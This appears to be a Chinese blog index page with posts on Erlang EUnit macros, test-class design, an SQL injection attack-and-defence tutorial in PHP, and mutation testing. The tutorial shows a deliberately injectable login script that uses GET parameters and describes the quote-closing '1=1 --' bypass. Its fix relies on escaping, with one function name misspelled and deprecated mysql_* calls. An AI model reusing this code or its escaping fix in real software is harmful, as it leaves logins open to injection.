  这里bsic_test/0会在执行test/0的时候调用,我们也可以把basic_test/0写成另一种形式:
  basic_test_() ->
  fun() ->  assert(1 == 1) end.
  以"_test_"结尾的函数,在EUnit中称为“test generation function",测试生成函数,
  它返回一个或一个函数list,EUnit会依次执行每个函数。为了让代码更紧凑简洁,
  我们又有了另一个macro:_test,这样上面的test可以变成这样:
basic_test_() ->
_test( assert(1 == 1)).
  是不是代码少一些了?好的让我们再进一步,我们使用另一个macro:_assert:
basic_test_() ->
_assert(1 == 1).
  怎么样,很简单了吧,好的,比如我有一系列的内容要测试,我就可以简单的写成这样:
basic_test_() ->
[ _assert(1 == 1),
_assert(2 == 2),
_assertEqual(3, 3),
_assertMatch(4,  4),
_assertException(throw, a, throw(a))].


我们非常容易的就测试了某个表达式是否为true,某两个值是否相等assertEqual
  (注:这里使用=:=进行判断,因此assertEqual(3, 3.0)不会测试通过),
  某个表达式是否匹配,是否产生指定的异常等。
  好了,暂时就这些基本的东西,更多的内容查看EUnit的帮助:
  http://svn.process-one.net/contribs/trunk/eunit/doc/overview-summary.html
  Update:
  R12B-5中,eunit作为一个标准的lib被加入,eunit中提供了一些有用的Macro,如:
  LET(Var,Arg,Expr)
  等效于 (fun(Var) -> (Expr) end)(Arg)
  用法: L =  LET(L1, [1, 2, 3], lists:reverse(L1))
  IF(Cond,TrueCase,FalseCase)
  用法: G =  IF(A >= B, A, B)
  形如_test()的函数,作为一个test 单元
  形如_test_()的函数作为test generator,其用来产生test单元,其结尾表达式可以为:
  单个形如 _xxx的测试,表示一个test单元
  也可以为一个List(可以为Deep List),List进行flatten后,长度表示test单元数目如下面代码表示五个测试单元:
basic_test() ->
assert([1, 2] = lists:reverse([2, 1]).
basic_test_() ->
[ _assert(true),
_assertNot(false),
[  _assert(1 == 1.0),
_assert(true)
]
].

posted @ 2014-01-30 11:47 顺其自然EVO 阅读(330) | 评论 (0)编辑 收藏

搭建一个UT测试用例过程中关联和继承的选择

首先交代下背景:
  在做软件的UT时候,框架使用继承的方式进行搭建,如下图所示:
  类CTestCase是一个父类,包含了所有测试中公用的方法。
  其中虚函数RunTest()作为对外启动测试的虚接口。
  Protect类型的CommonWorks()函数包含了一些必须的公用操作,包含了不可重入的一些变量和操作,将被具体测试用例调用。
  子类CConcreteTestCaseA是对软件产品具体某一个特性的测试:
  其中属性mTestAPara是测试A所独有的针对A特性的一些配置参数;
  SpecialWorksForCaseA是A特性特殊的一些操作封装;
  继承的方法RunTest用来实现具体的对特性A的操作,包括对特殊操作封装函数SpecialWorksForCaseA的调用;
  现在的问题是,新出现了一个特性B,测试它需要调用CConcreteTestCaseA::SpecialWorksForCaseA,
  但是目前已知只有极少部分特性的测试需要调用这个操作,其他特性并不需要。
  我们可以考虑将B继承自A,构成3层继承关系,如下所示:
  这样做的好处在于所有不可重入的变量和方法都会被保护起来。
  但是从逻辑上出现了 “B is a A” 的悖论。

  另一种选择则是使用关联关系,A与B保持逻辑上的sibling的关系不变,但是使用关联来实现一种类似于单一Composite的结构,如下所示:
  这样做的好处在于如下几点:
  主要的优点是保持了A与B逻辑上的关系正确性,而非“认兄为父”;
  当A已经存在的时候,不需要更多额外的修改就可以完成这种工作;
  相比于直接复制SpecialWorksForCaseA中的操作,当A逻辑发生改变的时候,更加容易更新;
  相比于将SpecialWorksForCaseA提取到父类的CommonWorks的做法,缩减了父类的复杂性和规模,逻辑上成立。
  缺点在于:
  当A中的mTestArgs依赖于父类的mTestConfiguration时候,类CaseA的实例化需要增加复杂度。

posted @ 2014-01-30 11:46 顺其自然EVO 阅读(570) | 评论 (0)编辑 收藏

手把手叫你SQL注入攻防(PHP语法)

1.什么是SQL注入,猛戳wikipedia查看
  2.本地测试代码:
  如果表单提交正确,就打印hello,“username”
  否则,打印“404 not found!”
<?php
require 'config.php';
$DBConnection = mysql_connect ( "$dbhost", "$dbuser", "$dbpwd" );
mysql_select_db ( "$dbdatabase" );
if(isset($_GET['submit']) && $_GET['submit']){
$sql="select * from test where name='".$_GET['username']."'and password='".$_GET['password']."'";
//echo $sql;exit;
$result=mysql_query($sql,$DBConnection);
$num=mysql_num_rows($result);
if($num>=1)
{
echo "hello,".$_GET['username'];
}
else {
echo"404 not found";
}
}
?>
<form action="login.php" method="GET">
<table>
<tr>
<td>username</td>
<td><input type="textbox" name="username"/></td>
<td>password</td>
<td><input type="textbox" name="password"></td>
<td>submit</td>
<td><input type="submit" name="submit"></td>
</tr>
</table>
</form>
  3.浏览器界面显示:
  4.重头戏,sql注入:
5.原理--为什么用户名不正确,却可以显示hello?
  我可以echo一下:
<span style="font-size:18px;">$sql="select * from test where name='".$_GET['username']."'and password='".$_GET['password']."'";
echo $sql;exit;</span>
  显示:
  拿到我的mysql数据库中查询:
  可以看到,居然能查到信息,因为sql语句中,前一半单引号被闭合,后一半单引号被 “--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果。
  6.小结:
  1)其实这个sql注入过程上很简单,困难的地方在于提交SQL注入语句的灵活性上面,单引号的使用很关键,另外,多用echo打印调试也很值得一试~~
  2)GET方式提交表单很危险,所以还是用POST方式吧!
  参考:http://blog.csdn.net/gideal_wang/article/details/4316691
  3)防止SQL注入:可以看出,sql注入就是用户提交一些非法的字符(如本文的单引号’和sql语句的注释号--,还有反斜杠\等),所以要用转义:  htmlspecialchars函数,mysql_read_escape_string函数都可以实现。
  4)JS段验证表单了,JSP/PHP等后台还要验证码?
  ---需要,因为friebug可以禁用JS...
  --------------------------------------------------------------------------
  update:
  上面的方法,当password通过md5加密的话,就无法实现注入了,那么就在username上做手脚:
  username后面的内容就都被注释掉了。哈哈~

posted @ 2014-01-29 10:49 顺其自然EVO 阅读(318) | 评论 (0)编辑 收藏

测试覆盖(率)到底有什么用?

引言
  经常有人问我这样的问题:“我们在做单元测试,那测试覆盖率要到多少才行?”。而我的答案很简单,“作为指标的测试覆盖率都是没有用处的。”
  Martin Fowler(重构那本书的作者)曾经写过一篇博客来讨论这个问题,他指出:把测试覆盖作为质量目标没有任何意义,而我们应该把它作为一种发现未被测试覆盖的代码的手段。
  Brian Marick(敏捷宣言最早的17个签署人之一)也说过,作为一名程序员,我当然期望我的代码有较高的测试覆盖率。但是,当我的经理要求这样的指标时,那就有别的目的了(绩效考核?)。
  我认为,高的测试覆盖率应该是每个“认真”写单元测试的程序员得到的必然结果,管理者把一个结果作为指标来衡量,本身就是没有意义的。如果你把“万能”的程序员逼急了,他就会从 “神秘的工具箱”中拿出一两个“法宝”来,“高效”地达成指标。我就见过很多这样的“法宝”,比如在单元测试中连一个“assert”也没有,或者写很多get和set方法的单元测试(写起来简单啊)来提高整体的覆盖率等等。更何况,测试充分的代码也有可能无法达到100%的覆盖率,本文的后面就有这样的例子。
  那你大概会问:“那测试覆盖到底有什么用呢?”。我的答案还是很简单,“测试覆盖是一种学习手段”。学习什么呢?学习为什么有些代码没有被覆盖到,以及为什么有些代码变了测试却没有失败。理解“为什么”背后的原因,程序员就可以做相应的改善和提高,相比凭空想象单元测试的有效性和代码的好坏,这会更加有效。
  接下来,我会给大家介绍一些传统的测试覆盖方法和一种称为“代码变异测试”(Mutation Test)的方法。大家将会看到这些方法都可以产生什么样的学习点,以及代码变异测试相比传统方法更有价值的地方。如果你是一名程序员(我不会区分你是开发人员还是测试人员,那对我来说都一样),希望你看完这篇文章之后,可以找到一些提高测试和代码质量的方法。如果你是一位管理者,不论你正在用还是想要用“测试覆盖率”来做度量,希望你看完这篇文章之后,可以放弃这个想法,做点更有意义的事情(比如去写点代码)。
  传统的测试覆盖方法
  传统的测试覆盖方法常见的有以下几种:
  函数覆盖(Function Coverage)
  语句覆盖(Statement Coverage)
  决策覆盖(Decision Coverage)
  条件覆盖(Condition Coverage)
  还有一些其他覆盖方法,如Modified Condition/Decision Coverage,就不在这里讨论了。
  函数覆盖:顾名思义,就是指这个函数是否被测试代码调用了。以下面的代码为例,对函数foo要做到覆盖,只要一个测试——如assertEquals(2, foo(2, 2))——就可以了。如果连函数覆盖都达不到,那应该想想这个函数是否真的需要了。如果需要的话,那又为什么写不了一个测试呢?
  语句覆盖:(也称行覆盖),指的是某一行代码是否被测试覆盖了。同样的代码要达到语句覆盖也只需要一个测试就够了,如assertEquals(2, foo(2, 2))。但是,如果把测试换成assertEquals(0, foo(2, -1)),那就无法达到所有行覆盖的效果了。通常这种情况是由于一些分支语句导致的,因为相应的问题就是“那行代码(以及它所对应的分支)需要吗?”,或者“用什么测试可以覆盖那行代码所代表的分支呢?”。


决策覆盖:指的是某一个逻辑分支是否被测试覆盖了。如我上面所说,语句覆盖通常和决策覆盖有关系。还是以上面的代码为例,要达到所有的决策覆盖(即那个if语句为真和假的情况至少出现一次),我们需要至少两个测试,如assertEquals(2, foo(2, 2))和assertEquals(0, foo(-1, 2))。如果有一个逻辑分支没有被覆盖(比如只有测试assertEquals(2, foo(2, 2))),那么我们应该问和上面“语句覆盖”小节中相似的问题。
  条件覆盖:指的是分支中的每个条件(即与,或,非逻辑运算中的每一个条件判断)是否被测试覆盖了。之前的代码要达到全部的条件覆盖(也就是x>0和y>0这两个条件为真和假的情况均至少出现一次)需要更多的测试,如assertEquals(2, foo(2, 2)),assertEquals(2, foo(2, -1))和assertEquals(2, foo(-1, -1))。如果有一个条件分支没有被覆盖(比如缺少测试assertEquals(2, foo(-1, -1))),那么大家应该想想“那个条件判断是否还需要呢?”,或者“用什么测试可以覆盖那个条件所对应的逻辑呢?”。
  通过上面对几种传统的测试覆盖方法的介绍,大家不难发现,这些方法的确可以帮我们找到一些显而易见的代码冗余或者测试遗漏的问题。不过,实践证明,这些传统的方法只能产生非常有限的“学习”代码和测试中问题的机会。很多代码和测试的问题即使在达到100%覆盖的情况下也无法发现。然而,我接下来要介绍的“代码变异测试”这种方法则,它可以很好的弥补传统方法的缺点,产生更加有效的“学习”机会。
  代码变异测试(Mutation Test)
  代码变异测试是通过对代码产生“变异”来帮助我们学习的。“变异”指的是修改一处代码来改变代码行为(当然保证语法的合理性)。简单来说,代码变异测试先试着对代码产生这样的变异,然后运行单元测试,并检查是否有任何测试因为这个代码变异而失败。如果有测试失败,那么说明这个变异被“消灭”了,这是我们期望看到的结果。如果没有测试失败,则说明这个变异“存活”了下来,这种情况下我们就需要去研究一下“为什么”了。
  是不是感觉有点绕呢?让我们换个角度来说明一下,可能就容易理解了。测试驱动开发相信大家一定都听说过,它的一个重要观点是,我们应该以最简单的代码来通过测试(刚好够,Just Enough)。基于这个前提,那么几乎所有的代码修改(即“变异”)都应该会改变代码的行为,从而导致测试失败。这样的话,如果有个变异没有导致测试失败,那要么是代码有冗余,要么就是测试不足以发现这个变异。
  另一方面,大家可以想一下对于自动化测试(包括单元测试)的期望是什么。我觉得一个很重要的期望就是,自动化测试可以防止“任何”错误的代码修改,以减少代码维护带来的风险。错误的代码修改实际上就是一个代码变异,代码变异测试可以帮我们找到一些无法被当前测试所防止的潜在错误。
  举例来说,我们给之前的那段被测代码增加一行,sideEffect(z)。之前的那些可以让传统的测试覆盖方法达到100%覆盖率的测试,在新增这行代码之后,依然会全部通过且覆盖率不变。然而,如果我们再删除那行新代码sideEffect(z),结果有会怎样呢?那些测试还是会全部通过,覆盖率也还是100%。在这种情况下,原来那些测试可以说没有任何意义。相对的,代码变异测试则可以通过删除那一行,再运行测试,就会发现没有任何测试失败。然后,我们就可以根据这个结果想到其实还需要一个测试来验证sideEffect(z)这个行为(如果那行代码不是多余的话)。
  再举一个例子,还是之前的代码,不做任何修改。我们用assertEquals(2, foo(2, 2)),assertEquals(2, foo(2, -1))和assertEquals(2, foo(-1, -1))这三个测试达到了100%的条件覆盖。然而,如果把y > 0的条件改成 y >= 0的话,这三个测试依然会通过。为什么会出现这样的问题呢?那是因为之前的测试对输入参数的选择比较随意,所以让这个代码变异存活了下来。可以看到,在条件覆盖100%的情况下,代码变异测试依然可以帮我们发现这种测试写的不严谨的问题(假设y >= 0这个代码变异是不合理的),从而使修改后的测试可以防止产生这样的错误代码。
  通过上面两个例子,相信大家已经发现代码变异测试可以给我们提供大量的学习代码合理性和测试有效性的机会。实际上,类似的代码变异还有很多种。下面是常见变异的列表,更详细的内容可以参考http://pitest.org/quickstart/mutators/。
条件边界变异(Conditionals Boundary Mutator)
  对关系运算(<, <=, >, >=)进行变异,上面第二例子就是这种变异
  反向条件变异(Negate Conditionals Mutator)
  对关系运算(==, !=, <, <=, >, >=)进行变异,例如把“==”变成“!=”
  数学运算变异(Math Mutator)
  对数学运算(+, -, *, /, %, &, |, ^, >>, <<, >>>)进行变异,例如把“+”变成“-”
  增量运算变异(Increments Mutator)
  对递增或者递减的运算(++, --)进行变异,例如把“++”变成“--”
  负值翻转变异(Invert Negatives Mutator)
  对负数表示的变量进行变异,例如把“return -i”变成“return i”
  内联常量变异(Inline Constant Mutator)
  对代码中用到的常量数字进行变异,例如把“int i=42”变成“int i=43”
  返回值变异(Return Values Mutator)
  对代码中的返回值进行变异,例如把“return 0”变成“return 1”或者把“return new Object();”变成“new Object(); return null;”
  无返回值方法调用变异(Void Method Calls Mutator)
  对代码中的无返回值方法调用进行变异,也就是把那个方法调用删除掉,上面的第一个例子就是这种变异。
  有返回值方法调用变异(Non Void Method Calls Mutator)
  对代码中的有返回值函数调用进行变异,也就是接收返回值的变量赋值将被替换成为返回值类型的语言默认值,例如把“int i = getSomeIntValue()”变成“int i = 0”
  构造函数调用变异(Constructor Calls Mutator)
  对代码中的构造函数调用进行变异,例如把“Object o = new Object()”变成“Object o == null”
  测试驱动开发和代码变异测试
  测试驱动开发(TDD)是我推崇和实践的写代码(做设计)方法。我在前面曾经提到,代码变异测试的假设是“实现代码是刚好够通过测试的最简单代码”,而这也是TDD中的重要实践之一。大家可能会问,如果做了TDD,代码变异测试的结果又会如何呢?还会产生学习的机会吗?答案是肯定的,一定会。
  让我们通过例子来看一下。我经常会做一些Kata来练习编程技巧,PokerHands(如上图)就是其中之一(其实大体就是实现梭哈的五张比较规则http://codingdojo.org/cgi-bin/wiki.pl?KataPokerHands)。每次我把Kata做完之后,都会用运行一下代码变异测试(sonar中有插件)。Java的代码变异测试工具有个比较好的叫pitest。下面是我用这个工具跑出来的结果,代码可以在这里找到https://github.com/JosephYao/Kata-PokerHands。
  如大家所见,红色那一行中有一个存活下来的代码变异。而这个代码变异是把“index < CARD_COUNT - 1”中的“<”换成“>”。看上去很不可思议吧,因为进行这样的代码变异意味着整个for循环都不会被执行了,应该不可能没有一个测试失败吧?
  让我们来看一下相关的单元测试。在下面这个测试中有三个assert,它们都是在验证“一对”之间通过对子的点数来比较大小的情况。大家仔细观察就可以发现,其实这三个assert中的牌如果作为High Card(就是比一对小一点的牌组)来比较的话,也都是成立的。这也就是那个代码变异可以存活下来的原因,因为即使忽略了一对之间的比较,通过High Card比较出来的大小关系也是一样的。我从中学到的是,只要把 assertPokerHandsLargerThan("2S 3H 5S 8C 8D","2S 3H 5S 7C 7D")改为 assertPokerHandsLargerThan("2S 3H 5S 8C 8D","2S 3H 9S 7C 7D")就可以清除这个代码变异了。
  从这个例子中可以看到,即使以TDD的方法来写代码,也是无法完全避免出现代码变异存活下来的情况的(当然,存活变异的数量要非常明显的少于不用TDD而写出来的代码)。做过TDD的人可能都有这样的感觉,就是有时很难抑制自己写出复杂代码的冲动(也就是说代码不是“刚好够”的)。有时,即使实现代码是最简单的,也可能因为代码过于直接,就会很“随意”的写出一个让当前代码失败的测试。上面的例子就是这种情况,这样不太“有效”的测试通常在TDD过程中很难意识到,从而给之后的代码维护造成隐患。
  除了上面那个有学习意义的代码变异之外,其实工具还帮我找到了一个“没意义”但存活下来的代码变异。
  这里存活下来的代码变异是指把“index < CARD_COUNT - 2”中的“<”变成“<=”。之所以说这个代码变异没意义,是因为根据代码上下文,在for循环中一定会在index等于CARD_COUNT - 2之前就找到那个三张的点数。因为工具无法理解上下文,所以产生了这个没意义的代码变异(也叫做Equivalent Mutation)。之所以举这个例子,只是想提醒大家不要迷信代码变异测试工具。对于他产生的结果一定去分析和学习,不然很容易走上考核指标的那条不归路。
  小结
  总而言之,测试覆盖这种方法是一种不错的学习手段,可以帮助我们提高代码和测试质量。代码变异测试则比传统的测试覆盖方法可以更加有效的发现代码和测试中潜在的问题,提供更多的学习机会。在这里,我要郑重警告那些妄图把代码变异测试变成一种新的考核指标的管理者们,这样做只会迫使程序员从他的神秘工具箱中找出新的法宝来对付你(比如,修改编译器等等)。
  代码变异测试的概念其实早在30年前就被提出了。之所以到目前为止还没有被业界广泛接纳,一个重要原因是由于需要对每个代码变异反复运行测试。如果不是单元测试(运行速度慢),代码变异测试工具执行时将消耗大量的时间。正因如此,单元测试可能是唯一符合代码变异测试要求的一种测试了。如果你对代码变异测试的历史和发展过程感兴趣的话,你可以参考这篇研究报告http://crestweb.cs.ucl.ac.uk/resources/mutation_testing_repository/TR-09-06.pdf。

posted @ 2014-01-29 10:47 顺其自然EVO 阅读(420) | 评论 (1)编辑 收藏

仅列出标题
共394页: First 上一页 153 154 155 156 157 158 159 160 161 下一页 Last 
<2024年11月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜